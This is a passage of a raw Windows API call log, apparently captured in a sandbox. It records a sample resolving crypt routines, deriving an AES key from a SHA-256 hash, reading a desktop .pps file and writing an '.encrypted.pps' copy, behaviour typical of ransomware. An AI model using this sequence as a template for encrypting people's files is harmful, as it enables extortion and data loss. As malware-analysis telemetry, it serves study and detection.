lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps", cchWideChar=53, lpMultiByteStr=0xe8f404ba10, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps", lpUsedDefaultChar=0x0) returned 53 [0023.056] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\m2gzlacpzqejs2kmo8d.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 53 [0023.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=53, lpWideCharStr=0xe8f4065ef0, cchWideChar=53 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps") returned 53 [0023.056] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.057] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.057] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.057] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.057] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.057] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.057] CloseHandle (hObject=0x188) returned 1 [0023.058] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.058] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.058] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.058] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.059] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.059] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.059] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.059] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.059] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.059] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.059] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.060] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.060] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.060] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.060] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.061] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.061] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.061] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b4b0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.061] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.061] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.061] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.061] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.061] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.062] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0023.062] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.063] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.063] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.063] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.063] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.063] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.pps" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\m2gzlacpzqejs2kmo8d.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.064] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.064] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.064] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.064] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.064] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\M2GZLacPZQEjs2kMO8D.encrypted.pps" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\m2gzlacpzqejs2kmo8d.encrypted.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.065] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.066] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.066] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.067] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1fe7, lpOverlapped=0x0) returned 1 [0023.068] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.070] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.070] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.071] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.071] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.071] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.071] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.072] PeekMessageW (in: 